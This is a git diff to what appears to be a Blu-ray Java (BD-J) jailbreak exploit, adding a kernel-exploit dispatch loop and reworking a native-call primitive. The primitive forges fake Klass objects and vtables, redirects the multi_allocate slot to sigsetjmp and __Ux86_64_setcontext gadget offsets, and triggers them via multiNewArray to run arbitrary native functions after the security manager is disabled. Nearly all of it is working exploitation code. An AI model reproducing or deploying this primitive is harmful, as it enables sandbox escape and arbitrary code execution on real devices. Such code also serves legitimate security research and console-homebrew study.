diff --git a/src/com/bdjb/Exploit.java b/src/com/bdjb/Exploit.java index e7bc494..e632afe 100644 --- a/src/com/bdjb/Exploit.java +++ b/src/com/bdjb/Exploit.java @@ -34,6 +34,22 @@ public class Exploit { if (System.getSecurityManager() != null) { Screen.println("[-] Error could not disable security manager."); + return; + } + + Screen.println("[*] Exploiting kernel..."); + + Class[] kernelExploits = new Class[] {}; + + for (int i = 0; i < kernelExploits.length; i++) { + try { + ExploitKernelInterface exploit = (ExploitKernelInterface) kernelExploits[i].newInstance(); + if (exploit.trigger()) { + break; + } + } catch (Exception e) { + continue; + } } } } diff --git a/src/com/bdjb/api/API.java b/src/com/bdjb/api/API.java index 0360db3..e6b98d5 100644 --- a/src/com/bdjb/api/API.java +++ b/src/com/bdjb/api/API.java @@ -27,7 +27,7 @@ public final class API { private static final String JAVA_JAVA_LANG_REFLECT_ARRAY_MULTI_NEW_ARRAY_SYMBOL = "Java_java_lang_reflect_Array_multiNewArray"; private static final String JVM_NATIVE_PATH_SYMBOL = "JVM_NativePath"; - private static final String SETJMP_SYMBOL = "setjmp"; + private static final String SIGSETJMP_SYMBOL = "sigsetjmp"; private static final String UX86_64_SETCONTEXT_SYMBOL = "__Ux86_64_setcontext"; private static final String ERROR_SYMBOL = "__error"; @@ -45,6 +45,8 @@ public final class API { private static API instance; + private static ThreadLocal callContexts = new ThreadLocal(); + private UnsafeInterface unsafe; private long longValueOffset; @@ -57,7 +59,7 @@ public final class API { private long Java_java_lang_reflect_Array_multiNewArray; private long JVM_NativePath; - private long setjmp; + private long sigsetjmp; private long __Ux86_64_setcontext; private long __error; @@ -157,9 +159,9 @@ public final class API { throw new InternalError("Java_java_lang_reflect_Array_multiNewArray not found"); } - setjmp = dlsym(LIBC_MODULE_HANDLE, SETJMP_SYMBOL); - if (setjmp == 0) { - throw new InternalError("setjmp not found"); + sigsetjmp = dlsym(LIBKERNEL_MODULE_HANDLE, SIGSETJMP_SYMBOL); + if (sigsetjmp == 0) { + throw new InternalError("sigsetjmp not found"); } __error = dlsym(LIBKERNEL_MODULE_HANDLE, ERROR_SYMBOL); @@ -275,82 +277,79 @@ public final class API { } public long call(long func, long arg0, long arg1, long arg2, long arg3, long arg4, long arg5) { - long fakeClassOop = malloc(Int64.SIZE); - long fakeClass = malloc(0x100); - long fakeKlass = malloc(0x200); - long fakeKlassVtable = malloc(0x400); + long ret = 0; - if (fakeClassOop == 0 || fakeClass == 0 || fakeKlass == 0 || fakeKlassVtable == 0) { - throw new OutOfMemoryError("malloc failed"); - } + // When func is 0, only do one iteration to avoid calling __Ux86_64_setcontext. + // This is used to "train" this function to kick in optimization early. Otherwise, it is + // possible that optimization kicks in between the calls to sigsetjmp and __Ux86_64_setcontext + // leading to different stack layouts of the two calls. + int iter = func == 0 ? 1 : 2; - try { - long ret = 0; + CallContext callContext = getCallContext(); - // When func is 0, only do one iteration to avoid calling __Ux86_64_setcontext. - // This is used to "train" this function to kick in optimization early. Otherwise, it is - // possible that optimization kicks in between the calls to setjmp and __Ux86_64_setcontext - // leading to different stack layouts of the two calls. - int iter = func == 0 ? 1 : 2; + if (jdk11) { + write32(callContext.fakeKlass + 0xC4, 0); // dimension - if (jdk11) { - write64(fakeClassOop + 0x00, fakeClass); - write64(fakeClass + 0x98, fakeKlass); - write32(fakeKlass + 0xC4, 0); // dimension - write64(fakeKlassVtable + 0xD8, JVM_NativePath); // array_klass - - for (int i = 0; i < iter; i++) { - write64(fakeKlass + 0x00, fakeKlassVtable); - write64(fakeKlass + 0x00, fakeKlassVtable); - if (i == 0) { - write64(fakeKlassVtable + 0x158, setjmp); // multi_allocate - } else { - write64(fakeKlassVtable + 0x158, __Ux86_64_setcontext); // multi_allocate - } - - ret = multiNewArray(fakeClassOop, MULTI_NEW_ARRAY_DIMENSIONS); - - if (i == 0) { - buildContext( - fakeKlass + 0x00, fakeKlass + 0x00, func, arg0, arg1, arg2, arg3, arg4, arg5); - } + for (int i = 0; i < iter; i++) { + write64(callContext.fakeKlass + 0x00, callContext.fakeKlassVtable); + write64(callContext.fakeKlass + 0x00, callContext.fakeKlassVtable); + if (i == 0) { + write64(callContext.fakeKlassVtable + 0x158, sigsetjmp + 0x23); // multi_allocate + } else { + write64( + callContext.fakeKlassVtable + 0x158, __Ux86_64_setcontext + 0x39); // multi_allocate } - } else { - write64(fakeClassOop + 0x00, fakeClass); - write64(fakeClass + 0x68, fakeKlass); - write32(fakeKlass + 0xBC, 0); // dimension - write64(fakeKlassVtable + 0x80, JVM_NativePath); // array_klass - write64(fakeKlassVtable + 0xF0, JVM_NativePath); // oop_is_array - for (int i = 0; i < iter; i++) { - write64(fakeKlass + 0x10, fakeKlassVtable); - write64(fakeKlass + 0x20, fakeKlassVtable); - if (i == 0) { - write64(fakeKlassVtable + 0x230, setjmp); // multi_allocate - } else { - write64(fakeKlassVtable + 0x230, __Ux86_64_setcontext); // multi_allocate - } + ret = multiNewArray(callContext.fakeClassOop, MULTI_NEW_ARRAY_DIMENSIONS); - ret = multiNewArray(fakeClassOop, MULTI_NEW_ARRAY_DIMENSIONS); - - if (i == 0) { - buildContext( - fakeKlass + 0x20, fakeKlass + 0x20, func, arg0, arg1, arg2, arg3, arg4, arg5); - } + if (i == 0) { + buildContext( + callContext.fakeKlass + 0x00, + callContext.fakeKlass + 0x00, + func, + arg0, + arg1, + arg2, + arg3, + arg4, + arg5); } } + } else { + write32(callContext.fakeKlass + 0xBC, 0); // dimension - if (ret == 0) { - return 0; + for (int i = 0; i < iter; i++) { + write64(callContext.fakeKlass + 0x10, callContext.fakeKlassVtable); + write64(callContext.fakeKlass + 0x20, callContext.fakeKlassVtable); + if (i == 0) { + write64(callContext.fakeKlassVtable + 0x230, sigsetjmp + 0x23); // multi_allocate + } else { + write64( + callContext.fakeKlassVtable + 0x230, __Ux86_64_setcontext + 0x39); // multi_allocate + } + + ret = multiNewArray(callContext.fakeClassOop, MULTI_NEW_ARRAY_DIMENSIONS); + + if (i == 0) { + buildContext( + callContext.fakeKlass + 0x20, + callContext.fakeKlass + 0x20, + func, + arg0, + arg1, + arg2, + arg3, + arg4, + arg5); + } } - - return read64(ret); - } finally { - free(fakeKlassVtable); - free(fakeKlass); - free(fakeClass); - free(fakeClassOop); } + + if (ret == 0) { + return 0; + } + + return read64(ret); } public long call(long func, long arg0, long arg1, long arg2, long arg3, long arg4) { @@ -586,4 +585,50 @@ public final class API { System.arraycopy(str.getBytes(), 0, bytes, 0, str.length()); return bytes; } + + private CallContext getCallContext() { + CallContext callContext = (CallContext) callContexts.get(); + if (callContext != null) { + return callContext; + } + + callContext = new CallContext(); + callContexts.set(callContext); + return callContext; + } + + class CallContext { + long fakeClassOop; + long fakeClass; + long fakeKlass; + long fakeKlassVtable; + private long callBuffer; + + CallContext() { + callBuffer = malloc(Int64.SIZE + 0x100 + 0x200 + 0x400); + if (callBuffer == 0) { + throw new OutOfMemoryError("malloc failed"); + } + + fakeClassOop = callBuffer; + fakeClass = fakeClassOop + Int64.SIZE; + fakeKlass = fakeClass + 0x100; + fakeKlassVtable = fakeKlass + 0x200; + + if (jdk11) { + write64(fakeClassOop + 0x00, fakeClass); + write64(fakeClass + 0x98, fakeKlass); + write64(fakeKlassVtable + 0xD8, JVM_NativePath); // array_klass + } else { + write64(fakeClassOop + 0x00, fakeClass); + write64(fakeClass + 0x68, fakeKlass); + write64(fakeKlassVtable + 0x80, JVM_NativePath); // array_klass + write64(fakeKlassVtable + 0xF0, JVM_NativePath); // oop_is_array + } + } + + protected void finalize() { + free(callBuffer); + } + } }